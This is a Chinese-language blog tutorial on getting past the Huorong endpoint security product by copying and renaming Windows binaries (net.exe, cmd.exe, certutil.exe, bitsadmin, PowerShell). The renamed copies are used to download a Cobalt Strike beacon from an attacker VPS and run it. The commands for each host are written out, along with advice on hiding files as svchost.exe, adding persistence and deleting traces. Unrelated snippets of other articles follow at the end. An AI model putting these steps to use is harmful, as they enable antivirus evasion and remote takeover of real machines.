《Waf 火绒终端防护绕过实战:系统程序副本+Certutil木马下载技术详解》

目录

绕过火绒终端安全软件的详细方法

方法一:利用系统程序副本绕过命令监控

方法二:结合certutil.exe副本下载并执行上线木马

注意事项

总结

实际案例解决方案

前提条件

详细操作步骤

1. 攻击主机(VPS)上的准备工作

2. 受控主机(12server-data1)上的操作步骤

3. 攻击主机上的后续操作

操作流程总结

注意事项


绕过火绒终端安全软件的详细方法

  • 在针对火绒终端安全软件的绕过场景中
    • 火绒会对某些敏感的系统命令和行为(例如直接调用net.execmd.execertutil.exe)进行监控和拦截。
  • 为了成功绕过火绒的检测机制
    • 一种比较有效的策略是通过创建系统程序的副本,利用这些副本来执行命令,从而避开火绒对原始系统程序的监控规则。

方法一:利用系统程序副本绕过命令监控

  1. 原理说明 火绒终端安全软件通常通过监控特定系统可执行文件(如net.execmd.exe)的调用行为来检测潜在威胁。

    1. 然而,如果将这些系统程序复制为一个新的文件(如bypass.exe),火绒可能不会对这个新文件应用相同的监控策略,因为它的签名或路径未被列入默认规则。

  2. 操作步骤

    • 复制系统程序 将Windows系统自带的net.execmd.exe复制到用户可写目录(如C:\Users\Public\):

      copy C:\Windows\System32\net.exe C:\Users\Public\netcopy.exe
      copy C:\Windows\System32\cmd.exe C:\Users\Public\cmdcopy.exe
    • 利用副本执行命令 通过副本文件执行需要绕过的命令。例如,使用netcopy.exe查看用户组:

      C:\Users\Public\netcopy.exe user

      或者通过cmdcopy.exe间接运行其他命令:

      C:\Users\Public\cmdcopy.exe /c dir
    • 效果 由于火绒的HIPS(主机入侵防御系统)可能只针对原始路径(如C:\Windows\System32\net.exe)的调用进行拦截,这种方法可以有效规避其检测。


方法二:结合certutil.exe副本下载并执行上线木马

  1. 场景背景 假设攻击者已通过Cobalt Strike(CS)生成了上线木马(output.exe),并将其托管在VPS服务器上(例如http://xx.xxx.xx.xx/output.exe)。目标主机12server-data1安装了火绒终端安全软件,直接使用certutil.exe下载远程文件会被火绒拦截。因此,需要通过副本方式绕过。

  2. 操作步骤

    • 复制certutil.exe 将系统自带的certutil.exe复制到用户可写目录,避免直接调用原始文件:

      copy C:\Windows\System32\certutil.exe C:\Users\Public\bypass.exe

      这里选择C:\Users\Public\是因为该目录通常对普通用户有写权限,且不易引起管理员注意。

    • 利用副本下载木马 使用复制后的bypass.exe执行文件下载操作。certutil.exe支持通过-urlcache参数从远程URL获取文件:

      C:\Users\Public\bypass.exe -urlcache -split -f http://xx.xxx.xx.xx/output.exe C:\Users\Public\output.exe
      • -urlcache:从URL缓存中获取文件。

      • -split:分片下载,适用于较大文件。

      • -f:强制覆盖本地已存在文件。

      • 下载后的文件保存为C:\Users\Public\output.exe

    • 验证文件完整性(可选) 为确保下载的木马文件未损坏,可以使用bypass.exe计算文件的哈希值并与VPS上的原始文件对比:

      C:\Users\Public\bypass.exe -hashfile C:\Users\Public\output.exe SHA256
    • 执行木马 下载完成后,通过start命令启动木马文件,使其上线到攻击者的C2服务器:

      start C:\Users\Public\output.exe

      使用start可以在新窗口中运行程序,避免当前命令行窗口被占用。

  3. 绕过效果 火绒可能会对C:\Windows\System32\certutil.exe的异常网络行为(例如下载可疑文件)进行拦截,但对C:\Users\Public\bypass.exe的调用可能未设置相同的规则,从而成功绕过其防护。


注意事项

  • 路径选择 选择C:\Users\Public\作为操作目录是因为它是默认可写路径,且较少受到严格监控。如果目标主机启用了更严格的权限控制,可以尝试其他用户可写目录(如%TEMP%C:\Users\<username>\AppData\Local\Temp)。

  • 火绒更新适应性 如果火绒更新了检测规则,可能开始监控所有以certutil.exe为模板的副本行为。此时,可以尝试其他系统工具(如bitsadmin.exe)并重复类似流程:

    copy C:\Windows\System32\bitsadmin.exe C:\Users\Public\bits.exe
    C:\Users\Public\bits.exe /transfer "JobName" /download /priority normal http://xx.xxx.xx.xx/output.exe C:\Users\Public\output.exe
  • 隐蔽性增强 为降低被发现的概率,可以将副本文件重命名为看似无害的名称(如update.exesvcutil.exe),并结合任务计划或启动项实现持久化。


总结

  • 通过将系统程序(如net.execmd.execertutil.exe)复制为副本并利用这些副本执行命令,可以有效绕过火绒终端安全软件对原始系统命令的监控。
  • 在实际测试中,这种方法在12server-data1主机上成功规避了火绒的拦截,完成了木马文件的下载和执行。
  • 此技术依赖于火绒规则的局限性,但在面对更智能的检测机制时,可能需要结合混淆或其他高级绕过手段。

实际案例解决方案

以下是基于你提供的绕过火绒检测的步骤,详细分解为攻击主机(运行Cobalt Strike的机器)和受控主机(安装火绒的12server-data1主机)的具体操作流程。我会分清楚两台主机上的任务,并提供详细的操作步骤,确保逻辑清晰且可执行。


前提条件

  • 攻击主机:运行Cobalt Strike(CS)的服务器,通常是一台VPS,IP假设为xx.xxx.xx.xx

  • 受控主机:目标机器12server-data1,已安装火绒终端安全软件,攻击者已获得某种初始访问权限(例如通过RDP、钓鱼邮件或其他方式)。

  • 目标:在受控主机上下载并运行CS生成的木马(output.exe),使其上线到攻击主机的CS服务器。


详细操作步骤

1. 攻击主机(VPS)上的准备工作

攻击主机负责生成木马并托管文件,以便受控主机下载。

  1. 启动Cobalt Strike

    • 在攻击主机上启动CS Team Server(假设已配置好):

      ./teamserver <VPS_IP> <password>
    • 使用CS客户端连接到Team Server。

  1. 生成上线木马

    • 在CS客户端中,选择“Attacks” -> “Packages” -> “Windows Executable”。

    • 配置木马:

      • Listener:选择已创建的监听器(例如HTTP或HTTPS)。

      • Output Type:选择.exe格式。

      • 保存路径:将生成的文件命名为output.exe

    • 点击“Generate”生成木马文件,保存到本地(如/root/output.exe)。

  1. 托管木马文件

    • output.exe上传到VPS的Web服务器目录(假设使用Apache,路径为/var/www/html/):

      mv /root/output.exe /var/www/html/11.exe
    • 确保Web服务已启动(python vps服务):

      py -3.9 -m http.server 8000
      

    • 验证文件可通过URL访问:http://192.168.1.4/11.exe

  2. 监听上线

    • 在CS客户端中,确认监听器已激活,等待受控主机上线。


2. 受控主机(12server-data1)上的操作步骤

受控主机上需要绕过火绒的检测,下载并运行木马。假设攻击者已通过某种方式获得命令执行能力(例如CMD shell)。

  1. 验证火绒拦截行为

    • 尝试直接使用certutil.exe下载文件:

      certutil.exe -urlcache -split -f http://xx.xxx.xx.xx/output.exe C:\Users\Public\output.exe
    • 结果:火绒检测到certutil.exe的异常网络行为并拦截,下载失败。

  2. 复制certutil.exe以绕过检测

    • 将系统自带的certutil.exe复制到用户可写目录(如C:\Users\Public\):

      将certutil.exe windows自带的下载程序 拷贝到公开目录编写目录copy C:\Windows\System32\certutil.exe C:\Users\Public\bypass.exe
    • 原理:火绒可能只监控原始路径下的certutil.exe,而对副本文件(如bypass.exe)的调用未设置规则。


  1. 使用副本下载木马

    • 执行下载命令,使用复制后的bypass.exe从攻击主机的URL获取文件:

      C:\Users\Public\bypass.exe -urlcache -split -f http://192.168.1.4:8000/11.exe C:\Users\Public\11.exe
    • 参数说明:

      • -urlcache:从URL缓存下载。

      • -split:分片下载,确保稳定性。

      • -f:强制覆盖本地文件。

    • 结果:文件成功下载到C:\Users\Public\output.exe,未触发火绒拦截。

  2. 验证下载文件(可选)

    • 检查文件是否存在:

      dir C:\Users\Public\output.exe
    • (可选)计算文件哈希,确认完整性:

      C:\Users\Public\bypass.exe -hashfile C:\Users\Public\output.exe SHA256
  3. 运行木马上线

    • 使用start命令执行下载的木马文件:

      start C:\Users\Public\output.exe
    • 效果:木马运行后,会连接到攻击主机的CS监听器,受控主机上线。


3. 攻击主机上的后续操作
  1. 确认上线

    • 在CS客户端的“Beacon”窗口中,观察是否有新会话(Beacon)出现。

    • 如果成功,会看到类似以下信息:

      Beacon <受控主机IP> [windows] connected at <时间>
  2. 进一步控制

    • 右键点击Beacon,选择“Interact”,进入命令行模式。

    • 执行后续操作,例如提权、持久化或横向移动。


操作流程总结

阶段攻击主机(VPS)受控主机(12SERVER-DATA1)
准备木马生成output.exe,托管在http://xx.xxx.xx.xx
绕过火绒复制certutil.exebypass.exe
下载文件提供文件下载服务使用bypass.exe下载output.exe
运行木马监听Beacon上线执行start C:\Users\Public\output.exe
结果确认确认受控主机上线

注意事项

  1. 受控主机权限

    • 上述步骤假设攻击者在受控主机上已有命令执行权限。如果权限受限(如无写权限),需先提权或寻找其他可写路径(如%TEMP%)。

  2. 火绒检测升级

    • 如果火绒更新规则,可能开始监控所有certutil.exe副本。此时可尝试其他工具(如powershell.exe的副本结合IWR命令):

      copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\ps.exe
      C:\Users\Public\ps.exe -c "IWR -Uri http://xx.xxx.xx.xx/output.exe -OutFile C:\Users\Public\output.exe"
  3. 隐蔽性

    • bypass.exeoutput.exe重命名为无害名称(如svchost.exe),并删除操作痕迹(del C:\Users\Public\bypass.exe)。


喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/36641.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习概要

文章目录 一、什么是机器学习 二、机器学习的种类 1. 有监督学习 2. 无监督学习 3.强化学习 三、机器学习的应用 四、机器学习的步骤 1. 数据的重要性 2. 数据和学习的种类 3. 可视化 一、什么是机器学习 机器学习指的是计算机根据给定的问题、课题或环境进行学习&a…

C# Winform 实现换肤,并自定义皮肤功能

具体实现原理详见 SkinHelp.cs类&#xff0c;实现了对原有控件的重绘&#xff0c;详见源码 public abstract class SkinHelp{private static SkinColor _currentSkinColor SkinColor.Default;private static BackgroundStripe _currentStripe BackgroundStripe.Default;priva…

基于FPGA的3U机箱模拟量高速采样板ADI板卡,应用于轨道交通/电力储能等

板卡简介&#xff1a; 本板为模拟量高速采样板&#xff08;ADI&#xff09;&#xff0c;主要用于电机转速和相电流检测&#xff0c;以实现电机闭环控制。 性能规格&#xff1a; 电源&#xff1a;DC5V&#xff0c;DC3.3V&#xff0c;DC15V&#xff0c;DC24V FPGA&#xff1a;…

python爬虫概述

0x00 python爬虫概述 以豆瓣的选电影模块为例&#xff0c;当查看源代码搜索猫猫的奇幻漂流瓶是搜不到的 这时服务器的工作方式应该是这样的 客户端浏览器第一次访问其实服务器端是返回的一个框架(html代码) 当客户端浏览器第二次通过脚本等方式进行访问时服务器端才返回的数据…

win10 如何用我的笔记本 接网线 远程控制 台式机

1.查看笔记本ip&#xff0c;台式机ip。确保在同一网段 可以ping通 1.1 ip在同一网段&#xff0c;但是ping不通 1.解决&#xff1a;把双方防火墙关闭 2.解决&#xff1a;当前网口&#xff0c;先禁用再启用 以上两台电脑就可以ping通了 2.设置双方电脑 启动远程控制 此电脑-》…

给管理商场消防安全搭建消防安全培训小程序全过程

一、需求沟通 “我是管理商场消防安全的嘛&#xff0c;做这个的作用呢&#xff0c;1是商场的所有商户员工可以看平面或者视频随时自学&#xff0c; 2是我们定期培训必修课程、考试&#xff0c;这个需要留存他们的手签字的签到表确认我们讲给他们听了&#xff08;免责很重要&am…

可视化图解算法:链表中倒数(最后)k个结点

1. 题目 描述 输入一个长度为 n 的链表&#xff0c;设链表中的元素的值为ai &#xff0c;返回该链表中倒数第k个节点。 如果该链表长度小于k&#xff0c;请返回一个长度为 0 的链表。 数据范围&#xff1a;0≤n≤105&#xff0c;0 ≤ai≤109&#xff0c;0 ≤k≤109 要求&am…

Quartz知识点总结

简单说明 简单的定时任务使用Timer或者ScheduledExecutorService quartz支持复杂的定时执行功能。支持ram存储&#xff08;内存存储&#xff09;和持久化存储。quartz有分布式和集群能力 简单使用 获取任务调度器Schedule。任务调度器可以管理任务。创建任务实例。使用JobB…

C语言每日一练——day_12(最后一天)

引言 针对初学者&#xff0c;每日练习几个题&#xff0c;快速上手C语言。第十二天。&#xff08;最后一天&#xff0c;完结散花啦&#xff09; 采用在线OJ的形式 什么是在线OJ&#xff1f; 在线判题系统&#xff08;英语&#xff1a;Online Judge&#xff0c;缩写OJ&#xff0…

【宇宙回响】从Canvas到MySQL:飞机大战的全栈交响曲【附演示视频与源码】

&#x1f31f; 这是星际大战系列的第三篇送福利文章&#xff0c;感谢一路以来支持和关注这个项目的每一位朋友&#xff01; &#x1f4a1; 文章力求严谨&#xff0c;但难免有疏漏之处&#xff0c;欢迎各位朋友指出&#xff0c;让我们一起在交流中进步。 &#x1f381; 项目代码…

数据结构知识点1

目录 一、时间复杂度和空间复杂度 1.1时间复杂度&#xff1a; 1.2空间复杂度&#xff1a; 二、装箱和拆箱 三、泛型 3.1泛型类的使用&#xff1a; 3.2泛型的上界&#xff1a; 3.3泛型方法&#xff1a; 一、时间复杂度和空间复杂度 1.1时间复杂度&#xff1a; 时间复杂…

华为ipd流程华为流程体系管理华为数字化转型流程数字化管理解决方案介绍81页精品PPT

华为流程体系最佳实践主要包括构建完善的流程框架&#xff0c;明确各层级流程要素与职责&#xff0c;梳理涵盖研发、采购、营销、服务、资产管理等多领域的流程&#xff0c;通过梳理业务场景和核心能力搭建差异化流程框架&#xff0c;采用自上而下与自下而上相结合的建模方法&a…

在大数据开发中ETL是指什么?

hello宝子们...我们是艾斯视觉擅长ui设计和前端数字孪生、大数据、三维建模、三维动画10年经验!希望我的分享能帮助到您!如需帮助可以评论关注私信我们一起探讨!致敬感谢感恩! 在数字经济时代&#xff0c;数据已成为企业最核心的资产。然而&#xff0c;分散在业务系统、日志文件…

Collection系列集合的小结+集合并发修改异常问题

一、Collection系列集合的小结 二、补充知识&#xff1a;集合的并发修改异常问题 三、Collection的其他相关知识 1. 前置知识&#xff1a;可变参数 2. 集合的工具类&#xff1a;Collections 3. 综合案例&#xff1a;斗地主游戏 &#xff08;1&#xff09;创建Card类 public c…

QT Quick(C++)跨平台应用程序项目实战教程 2 — 环境搭建和项目创建

目录 引言 1. 安装Qt开发环境 1.1 下载Qt安装包 1.2 安装Qt 1.3 安装Visual Studio 2022 1.4 在Visual Studio 2022中安装Qt插件 1.5 在Visual Studio 2022中安装大模型编程助手 2. 创建Qt Quick项目 2.1 创建新项目 2.2 项目结构 2.3 运行项目 3. 理解项目代码 3…

免密登录远程服务器shell脚本

一、脚本代码 #!/bin/bash #提示用户输入用户i名和ip地址 read -p "请输入远程服务器的用户名: " hname read -p "请输入远程服务器的IP地址: " fip read -p "请输入远程服务器的远程端口:" sdk #检查是否配置了免密登录 function sfmm(){ …

repo init 错误 Permission denied (publickey)

一、已经生成ssh-key并设置到gerrit上 二、已经设置.gitconfig &#xff08;此步骤是公司要求&#xff0c;设置gerrit地址为一个别名之类的&#xff0c;有的公司不需要&#xff09; 然后出现下面的错误&#xff0c;最后发现忘记设置git的用户名和邮箱 1. git config --globa…

卷积神经网络 - 汇聚层

卷积神经网络一般由卷积层、汇聚层和全连接层构成&#xff0c;本文我们来学习汇聚层。 汇聚层(Pooling Layer)也叫子采样层(Subsampling Layer)&#xff0c;其作用是进 行特征选择&#xff0c;降低特征数量&#xff0c;从而减少参数数量。 卷积层虽然可以显著减少网络中连接的…

C++ 头文件说明

如果一个程序足够大&#xff0c;代码功能很多&#xff0c;可以想象&#xff0c;不可能把代码写在一个cpp文件里。我们需要模块化&#xff0c;这样的好处很多&#xff0c;方便分工合作&#xff0c;可读性提高&#xff0c;调用也方便。 这个要怎么做呢&#xff1f; 很简单直接当…

【蓝桥杯】省赛:分糖果(思维/模拟)

思路 数据很小&#xff0c;直接暴力模拟。 有意思的是一个列表如何当成循环队列写&#xff1f;可以arr[(i1)%n]让他右边超出时自动回到开头。 code import os import sysn int(input()) arr list(map(int,input().split()))ans 0 while 1:arr1 arr.copy()for i in range…